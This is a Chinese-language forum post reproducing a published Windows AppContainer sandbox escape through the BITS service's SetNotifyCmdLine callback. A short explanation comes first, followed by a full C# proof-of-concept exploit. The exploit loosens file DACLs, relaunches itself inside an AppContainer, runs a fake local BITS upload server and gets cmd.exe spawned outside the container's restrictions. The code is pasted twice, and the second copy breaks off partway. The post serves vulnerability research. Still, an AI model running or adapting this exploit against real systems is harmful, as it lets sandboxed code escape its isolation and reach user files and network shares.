本文主要讨论谷歌P0文章中提到的Background Intelligent Transfer Service (BITS)服务的关于AppContainer逃逸的一种简单的复现.
关于AppContainer隔离机制的的介绍可以参考相关引用节的相关文章,这里不再赘述,,AppContainer进程属于对低完整性进程在PackageSid、Capabilities等更高粒度层面上实现的隔离,具有更加有限的功能.AppContainer不具有访问用户文件,有限的网络通信,和SMB共享访问等功能.常见的AppContainer capability可以在这里找到相关文档说明,谷歌的NtApiDotNet项目项目也为我们提供的常见的已知SID.
使用Process Hacker工具在图中可以看到AppContainer进程被赋予了指定的PackageSid和Capabilities SID的低完整性进程,windos也正是使用这些安全描述符(SD,下同)里的DACL(discretionaryaccess control list)来控制用户和用户组的访问权限。在这里我们可以利用记事本来进行尝试。 经过测试,记事本的运行过程似乎没有问题。但是,如果我们尝试使用记事本的文件 ->打开菜单,来打开其他文件(几乎是任何文件),我们会发现记事本无法访问常用的位置(例如:我的文档或我的图片)。这是因为该进程正在以低完整性级别来运行,而文件默认为中完整性级别。
进程管理器(Process Explorer)中的 "AppContainer",使用的是低完整性级别。
如果我们希望记事本能够访问用户的文件(例如:文档和图片),那么就必须在这些对象中设置明确的权限,允许访问 AppContainer PackageSid。要使用的函数包括 SetNamedSecurityInfo,关于完整代码请参阅GitHub项目.同样可以看到访问SMB共享和查询基本服务信息也被拒绝.
在AppContainer进程中调用BITS服务的IBackgroundCopyJob::SetNotifyCmdLine
API会在完成上载或下载任务以后impersonate(模拟)调用方token并创建一个新进程,由于AppContainer进程不具有对本地文件进行写入的功能,所以只能使用上载模式,这里只需要赋予AppContainer进程CapabilityPicturesLibrary权限为了保证兼容性起见使用通用的windowscalculator的PackageSid,即可读取用户图片文件夹的文件作为上传文件,在一个任意的远程监听http服务模拟伪造的BITS服务上传服务,在文件成功上传后(实际上并没有真实的文件操作)既可触发回调.这里(BITS)服务并没有创建一个完全相同隔离等级的AppContainer进程作为回调,而是当调用方为AppContainer进程时新进程剥离了AppContainer的限制,转换为一个完全可控的低完整性进程(移除了PackageSid等),从而实现了有限的AppContainer逃逸.新进程已经可以创建子进程,读取本地文件,和访问SMB等低完整用户进程具有权限.
谷歌P0文章
谷歌P0文章翻译
Windows AppContainer 降权,隔离与安全
隔离机制AppContainer
Windows下如何创建低权限进程
腾讯反病毒实验室:深度解析AppContainer工作机制
如何在Windows AppCotainer中创建进程
SetNotifyCmdLine接口介绍
AppContainer capability
BITS服务上传接口
poc
using System;
using System.Collections.Generic;
using System.Diagnostics.CodeAnalysis;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using AppContainerBypass;
using NtApiDotNet;
using NtApiDotNet.Win32;
namespace AppContainerBypass
{
class
Program
{
static volatile ManualResetEvent me
=
new ManualResetEvent(false);
static
bool
IsInAppContainer()
{
using (var token
=
NtToken.OpenProcessToken())
{
return
token.AppContainer;
}
}
static void UpdateSecurity(string path)
{
var sd
=
new NtApiDotNet.SecurityDescriptor(
"D:AI(A;;FA;;;WD)(A;;FA;;;AC)"
);
using (var
file
=
NtFile.
Open
(NtFileUtils.DosFileNameToNt(path), null, FileAccessRights.WriteDac))
{
file
.SetSecurityDescriptor(sd, NtApiDotNet.SecurityInformation.Dacl);
}
}
static void FixSecurity(string
dir
)
{
UpdateSecurity(
dir
);
foreach (var
file
in
Directory.GetFiles(
dir
))
{
UpdateSecurity(
file
);
}
}
static string cmdExe
=
@
"C:\Windows\System32\cmd.exe"
;
static string mainExe
=
typeof(Program).Assembly.Location;
static
bool
RestartInAppContainer(string[] args)
{
string FakeFile
=
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures),
"1.txt"
);
if
(!
File
.Exists(FakeFile))
{
File
.WriteAllText(FakeFile,
"fake"
);
}
FixSecurity(Path.GetDirectoryName(typeof(Program).Assembly.Location));
FixSecurity(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures));
List
<Sid> caps
=
new
List
<Sid>
{
KnownSids.CapabilityInternetClient,
KnownSids.CapabilityInternetClientServer,
KnownSids.CapabilityPrivateNetworkClientServer,
KnownSids.CapabilityPicturesLibrary
};
Win32ProcessConfig config
=
new Win32ProcessConfig
{
CreationFlags
=
CreateProcessFlags.NewConsole,
CurrentDirectory
=
Environment.GetFolderPath(Environment.SpecialFolder.MyPictures),
ApplicationName
=
mainExe,
CommandLine
=
mainExe
+
" "
+
FakeFile
};
config.SetAppContainerSidFromName(
"microsoft.windowscalculator_8wekyb3d8bbwe"
);
config.Capabilities.AddRange(caps);
using (var p
=
Win32Process.CreateProcess(config))
{
p.Process.Wait();
}
return
true;
}
private static void Process_CANCEL_SESSION(HttpListenerContext context)
{
Guid SessionId
=
Guid.Parse(context.Request.Headers[
"BITS-Session-Id"
].ToString());
context.Response.Headers[
"BITS-Packet-Type"
]
=
"Ack"
;
context.Response.ContentLength64
=
0
;
context.Response.Headers[
"BITS-Session-Id"
]
=
SessionId.ToString();
}
private static void Process_PING(HttpListenerContext context)
{
context.Response.Headers[
"BITS-Packet-Type"
]
=
"Ack"
;
context.Response.Headers[
"BITS-Error-Code"
]
=
"1"
;
context.Response.Headers[
"BITS-Error-Context"
]
=
"";
context.Response.ContentLength64
=
0
;
}
private static void Process_CLOSE_SESSION(HttpListenerContext context)
{
Guid SessionId
=
Guid.Parse(context.Request.Headers[
"BITS-Session-Id"
].ToString());
context.Response.Headers[
"BITS-Packet-Type"
]
=
"Ack"
;
context.Response.ContentLength64
=
0
;
context.Response.Headers[
"BITS-Session-Id"
]
=
SessionId.ToString();
}
private static void Process_FRAGMENT(HttpListenerContext context)
{
Guid SessionId
=
Guid.Parse(context.Request.Headers[
"BITS-Session-Id"
].ToString());
/
/
string ContentName
=
context.Request.Headers[
"Content-Name"
].ToString();
string ContentRange
=
context.Request.Headers[
"Content-Range"
].ToString();
List
<string> ContentRangeList
=
ContentRange.Split(new string[] {
"/"
}, StringSplitOptions.RemoveEmptyEntries).ToList();
List
<string> crange
=
ContentRangeList[
0
].Split(new string[] {
"-"
}, StringSplitOptions.RemoveEmptyEntries).ToList();
string total_length
=
ContentRangeList[
1
];
string range_start
=
crange[
0
];
string range_end
=
crange[
1
];
Console.Write(
"Process Process_FRAGMENT:range_start:"
+
range_start
+
",range_end:"
+
range_end
+
",total_length:"
+
total_length
+
Environment.NewLine);
context.Response.Headers[
"BITS-Packet-Type"
]
=
"Ack"
;
context.Response.ContentLength64
=
0
;
context.Response.Headers[
"BITS-Session-Id"
]
=
SessionId.ToString();
context.Response.Headers[
"BITS-Received-Content-Range"
]
=
(
int
.Parse(range_end)
+
1
).ToString();
}
private static void Process_CREATE_SESSION(HttpListenerContext context)
{
string supported_protocols
=
"{7df0354d-249b-430f-820d-3d2a9bef4931}"
;
List
<string> BITSSupportedProtocolsList
=
context.Request.Headers[
"BITS-Supported-Protocols"
].Split(new string[] {
" "
}, StringSplitOptions.RemoveEmptyEntries).ToList();
if
(BITSSupportedProtocolsList.Contains(supported_protocols))
{
Guid SessionId
=
Guid.NewGuid();
context.Response.ContentLength64
=
0
;
context.Response.Headers[
"BITS-Protocol"
]
=
supported_protocols;
context.Response.Headers[
"BITS-Packet-Type"
]
=
"Ack"
;
context.Response.Headers[
"BITS-Session-Id"
]
=
SessionId.ToString();
}
}
private static void Process_BITS_POST(HttpListenerContext context)
{
try
{
if
(context.Request.Headers[
"BITS-Packet-Type"
] !
=
null)
{
string BITSPacketType
=
context.Request.Headers[
"BITS-Packet-Type"
].ToString().ToUpper();
Console.Write(
"Process BITSPacketType:"
+
BITSPacketType
+
Environment.NewLine);
switch (BITSPacketType)
{
case
"CREATE-SESSION"
:
{
Process_CREATE_SESSION(context);
break
;
}
case
"FRAGMENT"
:
{
Process_FRAGMENT(context);
break
;
}
case
"CLOSE-SESSION"
:
{
Process_CLOSE_SESSION(context);
break
;
}
case
"CANCEL-SESSION"
:
{
Process_CANCEL_SESSION(context);
break
;
}
case
"PING"
:
{
Process_PING(context);
break
;
}
default:
{
break
;
}
}
context.Response.StatusCode
=
200
;
context.Response.Close();
}
}
catch (Exception e)
{
context.Response.StatusCode
=
500
;
context.Response.Headers[
"BITS-Error-Code"
]
=
"1"
;
context.Response.Close();
Console.WriteLine(e);
}
}
private static void StartBitsServer()
{
try
{
using (HttpListener listener
=
new HttpListener())
{
listener.Prefixes.Add(
"http://localhost:5686/"
);
listener.Start();
Console.Write(
"StartBitsServer"
+
Environment.NewLine);
me.
Set
();
while
(true)
{
HttpListenerContext context
=
listener.GetContext();
Console.Write(
"Process Method:"
+
context.Request.HttpMethod.ToUpper()
+
Environment.NewLine);
switch (context.Request.HttpMethod.ToUpper())
{
case
"BITS_POST"
:
{
Process_BITS_POST(context);
break
;
}
default:
{
break
;
}
}
}
}
}
catch (Exception e)
{
Console.WriteLine(e);
throw;
}
}
static void Main(string[] args)
{
try
{
if
(IsInAppContainer())
{
RunBtsJob(args[
0
]);
}
else
{
Task.Factory.StartNew(()
=
>
{
StartBitsServer();
});
me.WaitOne();
RestartInAppContainer(args.ToArray());
}
}
catch (Exception e)
{
Console.WriteLine(e);
throw;
}
}
private static void RunBtsJob(string
file
)
{
IBackgroundCopyManager mgr
=
new BackgroundCopyManager() as IBackgroundCopyManager;
Guid jobGuid;
IBackgroundCopyJob job1;
mgr.CreateJob(
"fake"
, BG_JOB_TYPE.BG_JOB_TYPE_UPLOAD, out jobGuid, out job1);
IBackgroundCopyJob2 job
=
job1 as IBackgroundCopyJob2;
job.SetNotifyCmdLine(cmdExe, cmdExe);
job.SetNotifyFlags(BG_JOB_NOTIFICATION_TYPE.BG_NOTIFY_JOB_TRANSFERRED);
job.AddFile(
"http://localhost:5686/fake.png"
,
file
);
job.Resume();
BG_JOB_STATE stat
=
BG_JOB_STATE.BG_JOB_STATE_QUEUED;
while
(stat !
=
BG_JOB_STATE.BG_JOB_STATE_TRANSFERRED)
{
Thread.Sleep(
1000
);
job.GetState(out stat);
}
job.Complete();
Console.Write(
"Success"
);
}
}
}
using System;
using System.Collections.Generic;
using System.Diagnostics.CodeAnalysis;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using AppContainerBypass;
using NtApiDotNet;
using NtApiDotNet.Win32;
namespace AppContainerBypass
{
class
Program
{
static volatile ManualResetEvent me
=
new ManualResetEvent(false);
static
bool
IsInAppContainer()
{
using (var token
=
NtToken.OpenProcessToken())
{
return
token.AppContainer;
}
}
static void UpdateSecurity(string path)
{
var sd
=
new NtApiDotNet.SecurityDescriptor(
"D:AI(A;;FA;;;WD)(A;;FA;;;AC)"
);
using (var
file
=
NtFile.
Open
(NtFileUtils.DosFileNameToNt(path), null, FileAccessRights.WriteDac))
{
file
.SetSecurityDescriptor(sd, NtApiDotNet.SecurityInformation.Dacl);
}
}
static void FixSecurity(string
dir
)
{
UpdateSecurity(
dir
);
foreach (var
file
in
Directory.GetFiles(
dir
))
{
UpdateSecurity(
file
);
}
}
static string cmdExe
=
@
"C:\Windows\System32\cmd.exe"
;
static string mainExe
=
typeof(Program).Assembly.Location;
static
bool
RestartInAppContainer(string[] args)
{
string FakeFile
=
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures),
"1.txt"
);
if
(!
File
.Exists(FakeFile))
{
File
.WriteAllText(FakeFile,
"fake"
);
}
FixSecurity(Path.GetDirectoryName(typeof(Program).Assembly.Location));
FixSecurity(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures));
List
<Sid> caps
=
new
List
<Sid>
{
KnownSids.CapabilityInternetClient,
KnownSids.CapabilityInternetClientServer,
KnownSids.CapabilityPrivateNetworkClientServer,
KnownSids.CapabilityPicturesLibrary
};
Win32ProcessConfig config
=
new Win32ProcessConfig
{
CreationFlags
=
CreateProcessFlags.NewConsole,
CurrentDirectory
=
Environment.GetFolderPath(Environment.SpecialFolder.MyPictures),
ApplicationName
=
mainExe,
CommandLine
=
mainExe
+
" "
+
FakeFile
};
config.SetAppContainerSidFromName(
"microsoft.windowscalculator_8wekyb3d8bbwe"
);
config.Capabilities.AddRange(caps);
using (var p
=
Win32Process.CreateProcess(config))
{
p.Process.Wait();
}
return
true;
}
private static void Process_CANCEL_SESSION(HttpListenerContext context)
{
Guid SessionId
=
Guid.Parse(context.Request.Headers[
"BITS-Session-Id"
].ToString());
context.Response.Headers[
"BITS-Packet-Type"
]
=
"Ack"
;
context.Response.ContentLength64
=
0
;
context.Response.Headers[
"BITS-Session-Id"
]
=
SessionId.ToString();
}
private static void Process_PING(HttpListenerContext context)
{
context.Response.Headers[
"BITS-Packet-Type"
]
=
"Ack"
;
context.Response.Headers[
"BITS-Error-Code"
]
=
"1"
;
context.Response.Headers[
"BITS-Error-Context"
]
=
"";
context.Response.ContentLength64
=
0
;
}
private static void Process_CLOSE_SESSION(HttpListenerContext context)
{
Guid SessionId
=
Guid.Parse(context.Request.Headers[
"BITS-Session-Id"
].ToString());
context.Response.Headers[
"BITS-Packet-Type"
]
=
"Ack"
;
context.Response.ContentLength64
=
0
;
context.Response.Headers[
"BITS-Session-Id"
]
=
SessionId.ToString();
}
private static void Process_FRAGMENT(HttpListenerContext context)
{
Guid SessionId
=
Guid.Parse(context.Request.Headers[
"BITS-Session-Id"
].ToString());
/
/
string ContentName
=
context.Request.Headers[
"Content-Name"
].ToString();
string ContentRange
=
context.Request.Headers[
"Content-Range"
].ToString();
List
<string> ContentRangeList
=
ContentRange.Split(new string[] {
"/"
}, StringSplitOptions.RemoveEmptyEntries).ToList();
List
<string> crange
=
ContentRangeList[
0
].Split(new string[] {
"-"
}, StringSplitOptions.RemoveEmptyEntries).ToList();
string total_length
=
ContentRangeList[
1
];
string range_start
=
crange[
0
];
string range_end
=
crange[
1
];
Console.Write(
"Process Process_FRAGMENT:range_start:"
+
range_start
+
",range_end:"
+
range_end
+
",total_length:"
+
total_length
+
Environment.NewLine);
context.Response.Headers[
"BITS-Packet-Type"
]
=
"Ack"
;
context.Response.ContentLength64
=
0
;
context.Response.Headers[
"BITS-Session-Id"
]
=
SessionId.ToString();
context.Response.Headers[
"BITS-Received-Content-Range"
]
=
(
int
.Parse(range_end)
+
1
).ToString();
}
private static void Process_CREATE_SESSION(HttpListenerContext context)
{
string supported_protocols
=
"{7df0354d-249b-430f-820d-3d2a9bef4931}"
;
List
<string> BITSSupportedProtocolsList
=
context.Request.Headers[
"BITS-Supported-Protocols"
].Split(new string[] {
" "
}, StringSplitOptions.RemoveEmptyEntries).ToList();
if
(BITSSupportedProtocolsList.Contains(supported_protocols))
{
Guid SessionId
=
Guid.NewGuid();
context.Response.ContentLength64
=
0
;
context.Response.Headers[
"BITS-Protocol"
]
=
supported_protocols;
context.Response.Headers[
"BITS-Packet-Type"
]
=
"Ack"
;
context.Response.Headers[
"BITS-Session-Id"
]
=
SessionId.ToString();
}
}
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!